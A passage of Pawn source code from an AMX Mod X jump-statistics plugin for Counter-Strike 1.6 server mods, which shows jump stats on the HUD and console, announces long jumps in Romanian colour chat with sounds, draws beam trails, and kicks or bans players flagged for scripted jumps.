							else if((jump_type[id]==Type_Bhop_In_Duck || jump_type[id]==Type_Up_Bhop_In_Duck || jump_type[id]==Type_Up_Stand_Bhop || jump_type[id]==Type_Up_Bhop || jump_type[id]==Type_Real_ladder_Bhop || jump_type[id]==Type_DuckBhop || jump_type[id] == Type_BhopLongJump || jump_type[id] == Type_StandupBhopLongJump ) && (failed_jump[id]))
							{
								set_hudmessage(f_stats_r, f_stats_g, f_stats_b, stats_x, stats_y, 0, 6.0, 2.5, 0.1, 0.3, h_stats );
								show_hudmessage( i, "%L",LANG_SERVER,"UQSTATS_HUD_PRINT0", type, distance[id], maxspeed[id], gain[id], prestrafe[id],strafe_num[id], sync_[id]);
							}
							else if((jump_type[id]==Type_Double_CountJump || (multiscj[id]==1 && jump_type[id]==Type_StandUp_CountJump) || (multidropcj[id]==1 && jump_type[id] == Type_Drop_CountJump)) && (failed_jump[id]))
							{
								set_hudmessage( f_stats_r, f_stats_g, f_stats_b, stats_x, stats_y, 0, 6.0, 2.5, 0.1, 0.3, h_stats );
								show_hudmessage( i, "%L",LANG_SERVER,"UQSTATS_HUD_PRINT2", type, distance[id], maxspeed[id], gain[id], prest1[id],prest[id], prestrafe[id],strafe_num[id], sync_[id],dd_sync[id]);
							}
							else if((jump_type[id]==Type_Multi_CountJump || (multiscj[id]==2 && jump_type[id]==Type_StandUp_CountJump) || (multidropcj[id]==2 && jump_type[id] == Type_Drop_CountJump)) && (failed_jump[id]))
							{
								set_hudmessage(f_stats_r, f_stats_g, f_stats_b, stats_x, stats_y, 0, 6.0, 2.5, 0.1, 0.3, h_stats );
								show_hudmessage( i, "%L",LANG_SERVER,"UQSTATS_HUD_PRINT6", type, distance[id], maxspeed[id], gain[id], prest1[id],prestrafe[id],ducks[id],strafe_num[id], sync_[id],dd_sync[id]);
							}
							
							if(jump_type[id] != Type_Slide && streifstat[id]==true && jump_type[id]!=Type_None && (failed_jump[id]))
							{
								set_hudmessage(f_stats_r, f_stats_g, f_stats_b, strafe_x, strafe_y, 0, 6.0, 2.5, 0.1, 0.3, h_streif );
								show_hudmessage(i,"%L",LANG_SERVER,"UQSTATS_HUD_PRINT7",strMessBuf);  //stata streifof fail
							}
							
							if(kz_stats_pre[id]==true && (jump_type[id]==Type_Multi_CountJump || (multiscj[id]==2 && jump_type[id]==Type_StandUp_CountJump) || (multidropcj[id]==2 && jump_type[id] == Type_Drop_CountJump)) && (failed_jump[id]))
							{
								set_hudmessage(f_stats_r, f_stats_g, f_stats_b, duck_x,duck_y, 0, 6.0, 2.5, 0.1, 0.3, h_duck);	
								show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_HUD_PRINT7",strMBuf); //stata duckov fail
							}
						}
					}
*/


					//console prints
					for( new i = INFO_ONE; i < max_players; i++ )
					{
						if( (i == id || is_spec_user[i]) && g_lj_stats[i]==true)
						{
							copy(strMessBuf,strLen,strMess);
							if((jump_type[id]==Type_ladderBhop || jump_type[id]==Type_ladder || jump_type[id]==Type_Drop_BhopLongJump || jump_type[id]==Type_WeirdLongJump || jump_type[id]==Type_LongJump || jump_type[id]==Type_HighJump) )
							{
								client_print( i, print_console, " ");
								client_print( i, print_console, "%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT1", type, distance[id], maxspeed[id], gain[id], prestrafe[id], strafe_num[id],sync_[id] );
							}
							else if(jump_type[id]==Type_Multi_Bhop )
							{
								client_print( i, print_console, " ");
								client_print( i, print_console, "%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT2", type, distance[id], maxspeed[id], gain[id], prestrafe[id], strafe_num[id],sync_[id] ,bhop_num[id]);
							
							}
							else if(jump_type[id]==Type_CountJump || (multiscj[id]==0 && jump_type[id]==Type_StandUp_CountJump) || (multidropcj[id]==0 && jump_type[id] == Type_Drop_CountJump))
							{
								client_print( i, print_console, " ");
								client_print( i, print_console, "%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT3", type, distance[id], maxspeed[id], gain[id], prest1[id], prestrafe[id], strafe_num[id],sync_[id],dd_sync[id] );
							}
							else if(jump_type[id]==Type_Bhop_In_Duck || jump_type[id]==Type_Up_Bhop_In_Duck || jump_type[id]==Type_Up_Stand_Bhop || jump_type[id]==Type_Up_Bhop || jump_type[id]==Type_Real_ladder_Bhop || jump_type[id]==Type_DuckBhop || jump_type[id] == Type_BhopLongJump || jump_type[id] == Type_StandupBhopLongJump)
							{
								client_print( i, print_console, " ");
								client_print( i, print_console, "%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT1", type, distance[id], maxspeed[id], gain[id], prestrafe[id], strafe_num[id],sync_[id] );
							}
							else if(jump_type[id]==Type_Double_CountJump || (multiscj[id]==1 && jump_type[id]==Type_StandUp_CountJump) || (multidropcj[id]==1 && jump_type[id] == Type_Drop_CountJump))
							{
								client_print( i, print_console, " ");
								client_print( i, print_console, "%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT4", type, distance[id], maxspeed[id], gain[id], prest1[id],prest[id], prestrafe[id], strafe_num[id],sync_[id],dd_sync[id] );
								client_print( i, print_console, "%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT5",dd_sync[id]);
							
							}
							else if(jump_type[id]==Type_Multi_CountJump || (multiscj[id]==2 && jump_type[id]==Type_StandUp_CountJump) || (multidropcj[id]==2 && jump_type[id] == Type_Drop_CountJump))
							{
								client_print( i, print_console, " ");
								client_print( i, print_console, "%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT6", type, distance[id], maxspeed[id], gain[id], prest1[id],prestrafe[id],ducks[id],strafe_num[id], sync_[id]);
								client_print( i, print_console, "%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT5",dd_sync[id]);
							
							}
							
							if(jump_type[id]!=Type_None)
							{
								static strMessHalf[40];
								for(jj=INFO_ONE; (jj <= strafe_num[id]) && (jj < NSTRAFES);jj++)
								{
										strtok(strMessBuf,strMessHalf,40,strMessBuf,40*NSTRAFES,'^n');
										replace(strMessHalf,40,"^n","");
										client_print(i, print_console, "%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT7", strMessHalf);
								}
							}
							
							if(jump_type[id]==Type_ladder && strafe_stat_speed[id][0][0]!=0)
							{
								client_print(i, print_console, "%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT12", strafe_stat_speed[id][0][0]);
							}
							else if(jump_type[id]==Type_Multi_CountJump || (multiscj[id]==2 && jump_type[id]==Type_StandUp_CountJump) || (multidropcj[id]==2 && jump_type[id] == Type_Drop_CountJump))
							{
								client_print( i, print_console, "..................................................");
								client_print( i, print_console, "%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT8",prest1[id]);
								for(new ss=2;ss<=ducks[id];ss++)
								client_print( i, print_console, "%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT9",ss-1,statsduckspeed[id][ss]);
								client_print( i, print_console, "%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT10",prestrafe[id]);
								client_print( i, print_console, "..................................................");
							}
							else if(jump_type[id]==Type_Double_CountJump || (multiscj[id]==1 && jump_type[id]==Type_StandUp_CountJump) || (multidropcj[id]==1 && jump_type[id] == Type_Drop_CountJump))
							{
								client_print( i, print_console, "..................................................");
								client_print( i, print_console, "%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT8",prest1[id]);
								client_print( i, print_console, "%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT11",prest[id]);
								client_print( i, print_console, "%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT10",prestrafe[id]);
								client_print( i, print_console, "..................................................");
							}
							else if(jump_type[id]==Type_Up_Bhop || jump_type[id]==Type_Up_Stand_Bhop || jump_type[id]==Type_Up_Bhop_In_Duck)
							{
								client_print( i, print_console,"%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT13",upheight[id]);
							}
							if(wpn!=29 && wpn!=17 && wpn!=16)
							{
								client_print( i, print_console,"%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT14",weapon_name);
							}
							if(fps_hight[id] && jump_type[id]!=Type_ladder)
							{
								client_print( i, print_console,"%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT15");
								fps_hight[id]=false;
							}
							if(ladderbug[id])
							{
								client_print( i, print_console,"%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT16");
								ladderbug[id]=false;
							}
							if(find_ladder[id] && jump_type[id]==Type_DuckBhop)
							{
								client_print( i, print_console,"%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT17");
								find_ladder[id]=false;
							}
							if(touch_somthing[id])
							{
								client_print( i, print_console,"%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT18");
							}
							if(Show_edge[id] && failed_jump[id]==false && jump_type[id]!=Type_ladder && jumpblock[id]<user_block[id][0] && jumpblock[id]>user_block[id][1] && edgedist[id]<100.0 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
							{
								if((jumpblock[id]+Landing+edgedist[id])>(distance[id]+10.0) || Landing<=0.0)
								{
									client_print( i, print_console,"%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT21",jumpblock[id],edgedist[id]);
								}
								else if(land_bug )
								{
									client_print( i, print_console,"%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT19",jumpblock[id],edgedist[id],Landing);
								}
								else client_print( i, print_console,"%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT20",jumpblock[id],edgedist[id],Landing);
							}
							else if(Show_edge[id] && failed_jump[id] && jump_type[id]!=Type_ladder && jumpblock[id]<user_block[id][0] && jumpblock[id]>user_block[id][1] && edgedist[id]<100.0 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
							{
								client_print( i, print_console,"%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT21",jumpblock[id],edgedist[id]);
							}
							else if(Show_edge_Fail[id] && failed_jump[id] && jump_type[id]!=Type_ladder && edgedist[id]<100.0 && edgedist[id]!=0.0)
							{
								client_print( i, print_console,"%L",LANG_SERVER,"UQSTATS_CONSOLE_PRINT22",edgedist[id]);	
							}
							if(find_script)
							{
								client_print( i, print_console,"%L",LANG_SERVER,"UQSTATS_PROBSCRIPT");
								
							}
							if(trigger_protection[id])
							{
								client_print( i, print_console,"%L",LANG_SERVER,"UQSTATS_CTRIGGERPROTECT");
								trigger_protection[id]=false;
							}
						}
					}
					
					if(wpn==29 || wpn==17 || wpn==16 || wpn==4 || wpn==9 || wpn==25)
					{
						formatex(weapon_name,20,"");
					}
					else
					{
						new tmp_str[21];
						
						formatex(tmp_str,20,"[");
						add(weapon_name, 20, "]");
						add(tmp_str, 20, weapon_name);
						formatex(weapon_name,20,tmp_str);
					}
					
					if(find_script)
					{
						new punishment[64];
						formatex(punishment,63,"%L",LANG_SERVER,"UQSTATS_PUNISHBLOCK");
						
						switch(uq_script_punishment)
						{
							case 1:
							{
								formatex(punishment,63,"%L",LANG_SERVER,"UQSTATS_PUNISHKICK");
							}
							case 2:
							{
								formatex(punishment,63,"%L",LANG_SERVER,"UQSTATS_PUNISHBAN",uq_ban_minutes);
							}
						}
						
						if(jump_type[id]!=Type_None)
						{
							Log_script(FullJumpFrames[id],angles_arry[id],id,distance[id],maxspeed[id],prestrafe[id],strafe_num[id],goodSyncTemp*100/(goodSyncTemp+badSyncTemp),Jtype[id],weapon_name1,punishment,strMess);
					
							switch(uq_script_punishment)
							{
								case 1:
								{
									kick_function(id,Jtype[id]);										
								}
								case 2:
								{
									ban_function(id,Jtype[id]);
								}
							}
						}
					}
					
					
					new block_colorchat_dist;
					if(uq_block_chat_show)
					{
						block_colorchat_dist=god_dist;
						
						switch(uq_block_chat_min)
						{
							case 0:
								block_colorchat_dist=good_dist;
							case 1:
								block_colorchat_dist=pro_dist;
							case 2:
								block_colorchat_dist=holy_dist;
							case 3:
								block_colorchat_dist=leet_dist;
							case 4:
								block_colorchat_dist=god_dist;
						}
					}
					
					new block_str[20];
					
					if(jumpblock[id]>=block_colorchat_dist && uq_block_chat_show && jumpblock[id]<user_block[id][0] && jumpblock[id]>user_block[id][1] && edgedist[id]<100.0 && edgedist[id]!=0.0 && (jumpblock[id]+edgedist[id])<distance[id])
					{
						formatex(block_str,19,"%L",LANG_SERVER,"UQSTATS_COLORCHAT_BLOCK",jumpblock[id]);
					}
					else
					{
						formatex(block_str,19,"");
					}
					
					new iPlayers[32],iNum; 
					get_players( iPlayers, iNum,"ch") ;
					
					for(new i=0;i<iNum;i++) 
					{ 
						new ids=iPlayers[i]; 
						if(gHasColorChat[ids] ==true || ids==id)
						{	
							if( !failed_jump[id] )
							{
								if((jump_type[id]==Type_Bhop_In_Duck || jump_type[id]==Type_Up_Bhop_In_Duck || jump_type[id]==Type_Up_Stand_Bhop || jump_type[id]==Type_Up_Bhop || jump_type[id]==Type_DuckBhop || jump_type[id]==Type_Real_ladder_Bhop || jump_type[id]==Type_Double_CountJump
										     || (multiscj[id]!=2 && jump_type[id]==Type_StandUp_CountJump) || (multidropcj[id]!=2 && jump_type[id]==Type_Drop_CountJump) || jump_type[id]==Type_CountJump
										     || jump_type[id]==Type_Drop_BhopLongJump || jump_type[id]==Type_BhopLongJump || jump_type[id]==Type_StandupBhopLongJump || jump_type[id]==Type_WeirdLongJump
										     || jump_type[id]==Type_ladderBhop || jump_type[id]==Type_ladder || jump_type[id]==Type_LongJump || jump_type[id]==Type_HighJump))
								{
									if ( distance[id] >= god_dist ) {
										if( uq_sounds && enable_sound[ids]==true )
										{
											client_cmd(ids, "speak misc/mod_godlike");
										}
										if( uq_light ) krasnota(id);
										Color_Chat_Lang(ids,NORMAL,"[^4PLAY^1-^4ARENA^1]^4 %s^1 a sarit [^4%.3f^1]^4 %s^1 [ Strafe^4 %d^1 ][ Sync^4 %d^1 ]",g_playername[id], distance[id],Jtype[id],strafe_num[id],goodSyncTemp*100/(goodSyncTemp+badSyncTemp)/*sync_[id]*/);
									}
									else if ( distance[id] >= leet_dist  ) {
										if( uq_sounds && enable_sound[id]==true ) client_cmd(id, "speak misc/mod_wickedsick");
									
										if( uq_light ) krasnota(id);
										Color_Chat_Lang(ids,NORMAL,"[^4PLAY^1-^4ARENA^1]^4 %s^1 a sarit [^4%.3f^1]^4 %s^1 [ Strafe^4 %d^1 ][ Sync^4 %d^1 ]",g_playername[id], distance[id],Jtype[id],strafe_num[id],goodSyncTemp*100/(goodSyncTemp+badSyncTemp)/*sync_[id]*/);
									}
									else if ( distance[id] >= holy_dist ) {
										if( uq_sounds && enable_sound[id]==true ) client_cmd(id, "speak misc/holyshit");
									
										if( uq_light ) sineva(id);
										Color_Chat_Lang(ids,NORMAL,"[^4PLAY^1-^4ARENA^1]^4 %s^1 a sarit [^4%.3f^1]^4 %s^1 [ Strafe^4 %d^1 ][ Sync^4 %d^1 ]",g_playername[id], distance[id],Jtype[id],strafe_num[id],goodSyncTemp*100/(goodSyncTemp+badSyncTemp)/*sync_[id]*/);
									}
									else if ( distance[id] >= pro_dist ) {
										if( uq_sounds && enable_sound[id]==true ) client_cmd(id, "speak misc/perfect");
									
										Color_Chat_Lang(ids,NORMAL,"[^4PLAY^1-^4ARENA^1]^4 %s^1 a sarit [^4%.3f^1]^4 %s^1 [ Strafe^4 %d^1 ][ Sync^4 %d^1 ]",g_playername[id], distance[id],Jtype[id],strafe_num[id],goodSyncTemp*100/(goodSyncTemp+badSyncTemp)/*sync_[id]*/);
									}
									else if ( distance[id] >=good_dist ) {
										if( uq_sounds && enable_sound[id]==true ) client_cmd(id, "speak misc/impressive");
									
										Color_Chat_Lang(ids,NORMAL,"[^4PLAY^1-^4ARENA^1]^4 %s^1 a sarit [^4%.3f^1]^4 %s^1 [ Strafe^4 %d^1 ][ Sync^4 %d^1 ]",g_playername[id], distance[id],Jtype[id],strafe_num[id],goodSyncTemp*100/(goodSyncTemp+badSyncTemp)/*sync_[id]*/);
									}
								}
								else if(jump_type[id]==Type_Multi_CountJump || (multiscj[id]==2 && jump_type[id]==Type_StandUp_CountJump) || (multidropcj[id]==2 && jump_type[id]==Type_Drop_CountJump))
								{
									if ( distance[id] >= god_dist ) {
										if( uq_sounds && enable_sound[ids]==true )
										{
											client_cmd(ids, "speak misc/mod_godlike");
										}
										if( uq_light ) krasnota(id);
										Color_Chat_Lang(ids,NORMAL,"[^4PLAY^1-^4ARENA^1]^4 %s^1 a sarit [^4%.3f^1]^4 %s^1 [ Strafe^4 %d^1 ][ Sync^4 %d^1 ]",g_playername[id], distance[id],Jtype[id],strafe_num[id],goodSyncTemp*100/(goodSyncTemp+badSyncTemp)/*sync_[id]*/);
									}
									else if ( distance[id] >= leet_dist  ) {
										if( uq_sounds && enable_sound[id]==true ) client_cmd(id, "speak misc/mod_wickedsick");
									
										if( uq_light ) krasnota(id);
										Color_Chat_Lang(ids,NORMAL,"[^4PLAY^1-^4ARENA^1]^4 %s^1 a sarit [^4%.3f^1]^4 %s^1 [ Strafe^4 %d^1 ][ Sync^4 %d^1 ]",g_playername[id], distance[id],Jtype[id],strafe_num[id],goodSyncTemp*100/(goodSyncTemp+badSyncTemp)/*sync_[id]*/);
									}
									else if ( distance[id] >= holy_dist ) {
										if( uq_sounds && enable_sound[id]==true ) client_cmd(id, "speak misc/holyshit");
									
										if( uq_light ) sineva(id);
										Color_Chat_Lang(ids,NORMAL,"[^4PLAY^1-^4ARENA^1]^4 %s^1 a sarit [^4%.3f^1]^4 %s^1 [ Strafe^4 %d^1 ][ Sync^4 %d^1 ]",g_playername[id], distance[id],Jtype[id],strafe_num[id],goodSyncTemp*100/(goodSyncTemp+badSyncTemp)/*sync_[id]*/);
									}
									else if ( distance[id] >= pro_dist ) {
										if( uq_sounds && enable_sound[id]==true ) client_cmd(id, "speak misc/perfect");
									
										Color_Chat_Lang(ids,NORMAL,"[^4PLAY^1-^4ARENA^1]^4 %s^1 a sarit [^4%.3f^1]^4 %s^1 [ Strafe^4 %d^1 ][ Sync^4 %d^1 ]",g_playername[id], distance[id],Jtype[id],strafe_num[id],goodSyncTemp*100/(goodSyncTemp+badSyncTemp)/*sync_[id]*/);
									}
									else if ( distance[id] >=good_dist ) {
										if( uq_sounds && enable_sound[id]==true ) client_cmd(id, "speak misc/impressive");
									
										Color_Chat_Lang(ids,NORMAL,"[^4PLAY^1-^4ARENA^1]^4 %s^1 a sarit [^4%.3f^1]^4 %s^1 [ Strafe^4 %d^1 ][ Sync^4 %d^1 ]",g_playername[id], distance[id],Jtype[id],strafe_num[id],goodSyncTemp*100/(goodSyncTemp+badSyncTemp)/*sync_[id]*/);
									}
								}
							}	
						}
					}
					
					// UberBeam start
					if( kz_beam[id]==true)
						{
						for( new i = 0; i < 100; i++ ) {
							if( gBeam_points[id][i][0] == 0.0
							&& gBeam_points[id][i][1] == 0.0
							&& gBeam_points[id][i][2] == 0.0 ) {
								continue;
							}
						
							message_begin(MSG_ONE_UNRELIABLE, SVC_TEMPENTITY, {0, 0, 0}, id);
							write_byte ( TE_BEAMPOINTS );
							if( i == 100 ) {
								write_coord(floatround(gBeam_points[id][i][0]));
								write_coord(floatround(gBeam_points[id][i][1]));
								write_coord(floatround(jumpoff_origin[id][2]-34.0));
								write_coord(floatround(land_origin[0]));
								write_coord(floatround(land_origin[1]));
								write_coord(floatround(jumpoff_origin[id][2]-34.0));
							} else {
								if ( i > 2 ) {
									write_coord(floatround(gBeam_points[id][i-1][0]));
									write_coord(floatround(gBeam_points[id][i-1][1]));
									write_coord(floatround(jumpoff_origin[id][2]-34.0));
								} else {
									write_coord(floatround(jumpoff_origin[id][0]));
									write_coord(floatround(jumpoff_origin[id][1]));
									write_coord(floatround(jumpoff_origin[id][2]-34.0));
								}
								write_coord(floatround(gBeam_points[id][i][0]));
								write_coord(floatround(gBeam_points[id][i][1]));
								write_coord(floatround(jumpoff_origin[id][2]-34.0));
							}
							write_short(gBeam);
							write_byte(1);
							write_byte(5);
							write_byte(30);
							write_byte(20);
							write_byte(0);
							if(gBeam_duck[id][i])
							{
								
								write_byte(255);
								write_byte(0);
								write_byte(0);
							}
							else if(beam_type[id]==2 && gBeam_button[id][i])
							{
								if(gBeam_button_what[id][i]==1)
								{
									write_byte(0);
									write_byte(255);
									write_byte(0);
								}
								else if(gBeam_button_what[id][i]==2)
								{
									write_byte(0);
									write_byte(0);
									write_byte(255);
								}
							}
							else 
							{
								write_byte(255);
								write_byte(255);
								write_byte(0);
							}
							write_byte(200);
							write_byte(200);
							message_end();
							
						}
					}
					
					JumpReset(id,25);
			
				}
				
				new bool:posible_dropcj;
				if(button & IN_DUCK && !(oldbuttons &IN_DUCK) && (jump_type[id]==Type_Drop_BhopLongJump || jump_type[id]==Type_WeirdLongJump))
				{
					new Float:tmpdropcj_start[3],Float:tmpdropcj_end[3],Float:tmpdropcj_frame[3];
					pev(id, pev_origin, origin);
					
					tmpdropcj_start=origin;
					tmpdropcj_start[2]=tmpdropcj_start[2]-36.0;
					
					tmpdropcj_end=tmpdropcj_start;
					tmpdropcj_end[2]=tmpdropcj_end[2]-20;
					
					engfunc(EngFunc_TraceLine,origin,tmpdropcj_end, IGNORE_GLASS, id, 0); 
					get_tr2( 0, TR_vecEndPos, tmpdropcj_frame);
					
					if(tmpdropcj_start[2]-tmpdropcj_frame[2]<=18.0)
					{
						posible_dropcj=true;
						in_duck[id]=false;
					}
					else posible_dropcj=false;
					
				}
				
				if(!in_air[id] && button & IN_DUCK && !(oldbuttons &IN_DUCK) && (flags & FL_ONGROUND || posible_dropcj) && !in_duck[id] && UpcjFail[id]==false)
				{	
					if( get_gametime( ) - duckoff_time[id] < 0.3 )
					{
						started_multicj_pre[id] = true;
						prest[id]= speed[id]; 
						ducks[id]++;
						statsduckspeed[id][ducks[id]]=speed[id];
						new Float:tmporg_z;
						if(is_user_ducking(id))
						{
							tmporg_z=origin[2]+18.0;
						}
						else tmporg_z=origin[2];
						
						if(tmporg_z-first_duck_z[id]>4.0)
						{
							JumpReset(id,654);
							if(dropbhop[id])
								dropbhop[id]=false;
							if(in_ladder[id])
								in_ladder[id]=false;
								
							dropupcj[id]=true;
							
							return FMRES_IGNORED;
						}
						
						for( new i = INFO_ONE; i < max_players; i++ )
						{
							if( (i == id || is_spec_user[i]))
							{
								if(showpre[id]==true && showduck[id]==true)
								{
									set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
									show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_DUCKPRE",speed[i]);
								}
							}
						}
					}
					else
					{
						pev(id, pev_origin, origin);
						
						ducks[id]=0;
						prest1[id]= speed[id]; //ground pre
						ducks[id]++;//schetchik duckov
						duckstartz[id]=origin[2];
						statsduckspeed[id][ducks[id]]=speed[id];//dlya vivoda stati po ducka
						
						started_cj_pre[id] = true;
						nextbhop[id]=false;
						bhopaem[id]=false;
						if(first_duck_z[id] && (origin[2]-first_duck_z[id])>4)
						{
							dropupcj[id]=true;
							
							JumpReset(id,655);
							if(dropbhop[id])
								dropbhop[id]=false;
							if(in_ladder[id])
								in_ladder[id]=false;
								
							return FMRES_IGNORED;
						}
						if(ducks[id]==1) 
						{
							if(is_user_ducking(id))
							{
								first_duck_z[id]=origin[2]+18.0;
							}
							else first_duck_z[id]=origin[2];
						}
						if(dropupcj[id]==false && get_gametime()-FallTime[id]<0.3 && (in_ladder[id] || jump_type[id]==Type_ladderBhop || jump_type[id]==Type_Drop_BhopLongJump || jump_type[id]==Type_WeirdLongJump || dropbhop[id]))
						{
							in_ladder[id]=false;
							jump_type[id] = Type_Drop_CountJump;
							formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_DRCJ");
							formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_DRCJ");
							multidropcj[id]=0;
							dropaem[id]=true;
							
							if(dropbhop[id])
								dropbhop[id]=false;
							if(in_ladder[id])
								in_ladder[id]=false;
						}
						
						for( new i = INFO_ONE; i < max_players; i++ )
						{
							if( (i == id || is_spec_user[i]))
							{
								if(showpre[id]==true && showduck[id]==true)
								{
									set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
									show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_DUCKPRE",speed[i]);
								}
							}
						}
					}
					
					in_duck[id] = true;
				}
				else if( !in_air[id] && oldbuttons & IN_DUCK && (flags & FL_ONGROUND || posible_dropcj) && UpcjFail[id]==false)
				{
					if( !is_user_ducking( id ) )
					{	
						in_duck[id] = false;
						if( started_cj_pre[id] )
						{
							started_cj_pre[id] = false;
							
							duckoff_time[id] = get_gametime( );
							duckoff_origin[id] = origin;
							FallTime1[id]=get_gametime();
						
							strafe_num[id] = 0;
							TempSpeed[id] = 0.0;
							
							if(jump_type[id] != Type_Drop_CountJump)
							{
								jump_type[id] = Type_CountJump;
								jump_typeOld[id]=1;			
								if(nextbhop[id] || bhopaem[id])
								{
									formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_CJAJ");
									formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_CJAJ");
									
									CjafterJump[id]=1;
			
									ddafterJump[id]=true;
								}
								else
								{
									formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_CJ");
									formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_CJ");
									
									CjafterJump[id]=0;
									ddafterJump[id]=false;
								}
								
							}
							else 
							{
								FallTime[id]=get_gametime();
								multidropcj[id]=0;
								jump_typeOld[id]=1;
							}
						}
						else if( started_multicj_pre[id] )
						{
							started_multicj_pre[id] = false;
							
							duckoff_time[id] = get_gametime( );
							duckoff_origin[id] = origin;
							FallTime1[id]=get_gametime();
							
							strafe_num[id] = 0;
							TempSpeed[id] = 0.0;
							
							if(jump_type[id] != Type_Drop_CountJump)
							{
								jump_type[id] = Type_Double_CountJump;
								jump_typeOld[id]=2;
								if(nextbhop[id] || bhopaem[id])
								{
									formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_DCJAJ");
									formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_DCJAJ");
									
									CjafterJump[id]=2;
									ddafterJump[id]=true;
								}
								else
								{
									formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_DCJ");
									formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_DCJ");
									
									CjafterJump[id]=0;
									ddafterJump[id]=false;
								}
							}
							else 
							{	
								multidropcj[id]=1;
								FallTime[id]=get_gametime();
								jump_typeOld[id]=2;
							}
						}
						if(ducks[id]>2)
						{	
							if(jump_type[id] != Type_Drop_CountJump)
							{
								jump_type[id] = Type_Multi_CountJump; //detect mcj
								jump_typeOld[id]=3;
								if(nextbhop[id] || bhopaem[id])
								{
									formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_MCJAJ");
									formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_MCJAJ");
									
									CjafterJump[id]=3;
									ddafterJump[id]=true;
								}
								else
								{
									formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_MCJ");
									formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_MCJ");
									
									CjafterJump[id]=0;
									ddafterJump[id]=false;
								}
							}
							else 
							{	
								multidropcj[id]=2;
								FallTime[id]=get_gametime();
								jump_typeOld[id]=3;
							}	
						}
					}
				}
				
				
				if(flags&FL_ONGROUND && g_Jumped[id]==false && jofon[id] && movetype[id] != MOVETYPE_FLY)
				{
					new Float:new_origin[3],Float:tmpOrigin[3], Float:tmpOrigin2[3];
						
					pev(id,pev_origin,new_origin);
					new_origin[2]=new_origin[2]-36.1;
					
					pev(id, pev_velocity, velocity);
					
					for(new i=0,j=-18;i<3;i++,j=j+18)
					{
						tmpOrigin=new_origin;
						tmpOrigin2=new_origin;
						
						if(velocity[1]>0 && floatabs(velocity[1])>floatabs(velocity[0]))
						{
							tmpOrigin[1]=new_origin[1]+200;
							tmpOrigin2[1]=new_origin[1]-16;
							
							tmpOrigin[0]=tmpOrigin[0]+j;
							tmpOrigin2[0]=tmpOrigin2[0]+j;
							
						}
						else if(velocity[1]<0 && floatabs(velocity[1])>floatabs(velocity[0]))
						{
							tmpOrigin[1]=new_origin[1]-200;
							tmpOrigin2[1]=new_origin[1]+16;
							
							tmpOrigin[0]=tmpOrigin[0]+j;
							tmpOrigin2[0]=tmpOrigin2[0]+j;
						}
						else if(velocity[0]>0 && floatabs(velocity[0])>floatabs(velocity[1]))
						{
							tmpOrigin[0]=new_origin[0]+200;
							tmpOrigin2[0]=new_origin[0]-16;
							
							tmpOrigin[1]=tmpOrigin[1]+j;
							tmpOrigin2[1]=tmpOrigin2[1]+j;
						}
						else if(velocity[0]<0 && floatabs(velocity[0])>floatabs(velocity[1]))
						{
							tmpOrigin[0]=new_origin[0]-200;
							tmpOrigin2[0]=new_origin[0]+16;
							
							tmpOrigin[1]=tmpOrigin[1]+j;
							tmpOrigin2[1]=tmpOrigin2[1]+j;
						}
						
						new Float:tmpEdgeOrigin[3];
						
						engfunc(EngFunc_TraceLine,tmpOrigin,tmpOrigin2, IGNORE_GLASS, id, 0); 
						get_tr2( 0, TR_vecEndPos, tmpEdgeOrigin);
					
						if(get_distance_f(tmpEdgeOrigin,tmpOrigin2)!=0.0)
						{
							jof[id]=get_distance_f(tmpEdgeOrigin,tmpOrigin2)-0.031250;
						}
					}
				}
				else if(!(flags&FL_ONGROUND) && g_Jumped[id] && edgedone[id]==false && movetype[id] != MOVETYPE_FLY)
				{
					new onbhopblock,bhop_block[1];
					
